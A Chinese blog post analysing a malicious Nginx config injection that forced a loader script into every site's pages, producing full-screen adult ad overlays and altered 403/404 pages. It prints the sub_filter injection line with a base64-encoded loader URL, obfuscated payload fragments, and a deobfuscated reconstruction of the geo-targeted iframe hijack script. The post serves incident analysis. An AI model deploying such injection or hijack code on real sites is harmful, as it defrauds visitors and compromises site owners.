恶意脚本注入分析 - 250904

恶意脚本注入分析 - 250904

前言

接朋友的帮助,要我康康网站怎么弹全屏的涩涩的小卡片,经过两人几分钟的排查~
一开始以为是网站的某些页面被挂马了,检测后发现没有。发现除了单域名,其他域名也有类似的情况。
403/404页被篡改:纪念日本投降80周年,9.3月阅兵圆满成功。这个虽然没问题,但依然判定为劫持,默认显示:404 not found
经排查,发现恶意代码插入到 Nginx 配置文件,会导致所有站点优先加载这个恶意 JS 脚本。

主要问题

  1. 主网站弹涩涩小卡片广告
  2. 其他域名被修改 403 / 404内容

劫持截图

Qq图片20250904220511
Image 1756982099763
1 Image 1756982839708

伪装代码

sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>

解码 atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=") 得到的地址。文章就不展示完整域名,有兴趣自行 Base64 解码

/lib/jquery/4.7.2/jquery.min.js

这明显是 恶意外部脚本注入,会在所有页面 <head> 前强制插入 JS,可能用于广告劫持、挖矿、窃取 Cookie 或挂马。

访问 Base64 解码的地址,获取到 JavaScript 内容。包含了几个可疑的外部脚本加载和混淆代码

!function(p){"use strict";!function(t){var s=window,e=document,i=p,c="".concat("https:"===e.location.protocol?"https://":"http://","sdk.xx.xx/js-sdk-pro.min.js"),n=e.createElement("script"),r=e.getElementsByTagName("script")[0];n.type="text/javascript",n.setAttribute("charset","UTF-8"),n.async=!0,n.src=c,n.id="LA_COLLECT",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&amp;&amp;o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:"KW3kPYeS8JIv82mP",ck:"KW3kPYeS8JIv82mP"});

var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https:// hm.{隐藏}.com/hm.js?xxxxxxxxxxxxxxxxxxxxx";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();

['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"

省略大段加密的内

"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');

1. 加载的外部脚本

// 某51 统计SDK
xx.la/js-sdk-pro.min.js

// 某度统计
hm.baidu.com/hm.js?xxxxxxxxxxxxxxxxxxxxx

2. 混淆后的 sojson.v4 代码

['sojson.v4']["filter"]["constructor"](...)

这里用到了 sojson.v4 的混淆,还包含大量 \xNN 转义字符和 fromCharCode 拼接。
目的通常是 绕过安全检测,再往页面里插入 <iframe><script>,偷偷加载远程恶意代码。

生成加密的配置 key 和地址
动态往页面插入 iframe/script
监听 DOMContentLoaded / attachEvent / readyStateChange
在 document.body 下隐藏注入的元素
操作 localStorage 存储一些 key

3. 潜在危害

劫持访问者 cookie 或 localStorage(有可能泄露登录信息)
植入广告、跳转或钓鱼 iframe
影响页面 SEO,被搜索引擎标记为恶意站点

解析代码

解析后的 sojson.v4 代码如下,地址那些会被移除,防止被污染。
解析后的代码是很乱的,下面这份是按标准写法(去掉多余的混淆、缩进统一、语法修正),跟源文件可能不一致,效果估计差不多~

/*
 * 恶意脚本:全屏 iframe 劫持跳转
 */

(function () {
    const config = {
        key: "13792427ab60437bafb55088e45e0e06",
        encryptKey: "5088e45e0e06",
        address: "#",
        conditionType: "TIMEZONE", // 触发条件:TIMEZONE 或 IP
        jumpType: "IFRAME",       // 跳转方式:DIRECT / IFRAME
        jumpPercent: 100,         // 触发概率(百分比)
        jumpCount: 1              // 每天最多触发次数
    };

    /** XOR 简单加密,用来混淆 localStorage 数据 */
    function encrypt(str) {
        return __try(() => {
            const keyCodes = Array.from(config.encryptKey).map(c => c.charCodeAt(0));
            return Array.from(str)
                .map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ keyCodes[i % keyCodes.length]))
                .join('');
        }, () => "");
    }

    /** DOM Ready 封装 */
    function ready(callback) {
        __try(() => {
            if (document.readyState === 'complete' || document.readyState === 'interactive') {
                callback();
            } else if (document.addEventListener) {
                document.addEventListener('DOMContentLoaded', callback);
            } else if (document.attachEvent) {
                document.attachEvent('onreadystatechange', function () {
                    if (document.readyState === 'complete') callback();
                });
            }
        }, callback);
    }

    /** 执行跳转(iframe 劫持) */
    function doJump() {
        if (!config.jumpType || config.jumpType === "DIRECT") {
            window.location.replace(config.address);
        } else if (config.jumpType === "IFRAME") {
            ready(() => {
                setInterval(() => {
                    __try(() => {
                        if (document.getElementById(config.key) == null) {
                            document.body.insertAdjacentHTML("beforeend", `
                                <iframe id="${config.key}"
                                    scrolling="auto"
                                    marginheight="0"
                                    marginwidth="0"
                                    frameborder="0"
                                    width="100%"
                                    height="100%"
                                    style="z-index:99999999999; position:absolute; left:0; top:0; min-height:100vh; visibility:visible; padding:0; margin:0;"
                                    src="${config.address}">
                                </iframe>
                            `);
                        }
                        // 隐藏页面原本内容
                        const children = document.body.children;
                        for (let i = 0; i < children.length; i++) {
                            const node = children[i];
                            if (node.id !== config.key && node.style.display !== "none") {
                                node.style.display = "none";
                            }
                        }
                        document.body.style.overflow = "hidden";
                    }, clearStorage);
                }, 100);
            });
        }
    }

    /** 条件检查 */
    function conditionCheck() {
        let data = __try(() => JSON.parse(encrypt(localStorage.getItem(config.key)))) || {};
        const today = (new Date()).toISOString().split("T")[0];

        if (data.date !== today) {
            data = { date: today, count: 0 };
        }

        if (isNotMobile() || data.count >= config.jumpCount || Math.random() * 100 >= config.jumpPercent) {
            return;
        }

        data.count = data.count + 1;
        localStorage.setItem(config.key, encrypt(JSON.stringify(data)));

        if (!config.conditionType || config.conditionType === "TIMEZONE") {
            let clientTimezone = __try(() => Intl.DateTimeFormat().resolvedOptions().timeZone, clearStorage) || "";
            if (clientTimezone === "Asia/Shanghai") {
                doJump();
            }
        } else if (config.conditionType === "IP") {
            fetch("https://api.ip.sb/geoip", { referrerPolicy: "no-referrer" })
                .then(resp => resp.json())
                .then(json => {
                    if (json.country_code === "CN") {
                        doJump();
                    }
                })
                .catch(err => clearStorage());
        }
    }

    /** 平台检测 */
    function isNotMobile() {
        return __try(() => {
            const platform = navigator.platform;
            const win = platform.indexOf('Win') === 0;
            const mac = platform.indexOf('Mac') === 0;
            const x11 = platform.indexOf("X11") !== -1 || platform.indexOf('x86') !== -1 || platform.indexOf('i686') !== -1 || platform.indexOf('i386') !== -1;
            return win || mac || x11;
        }, () => true);
    }

    /** 清除本地存储 */
    function clearStorage() {
        localStorage.removeItem(config.key);
    }

    /** 安全执行器 */
    function __try(func, err) {
        try {
            return func();
        } catch (_err) {
            if (err) return err(_err);
        }
        return undefined;
    }

    // 入口
    conditionCheck();
})();

茶馆

MySQL Workbench 点击 Server Status面板:Could not acquire management access for administration 报错问题

2025-2-23 22:21:48

茶馆

Linux 系统时间同步(适用于 Debian/Ubuntu)

2025-11-4 3:53:16

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
搜索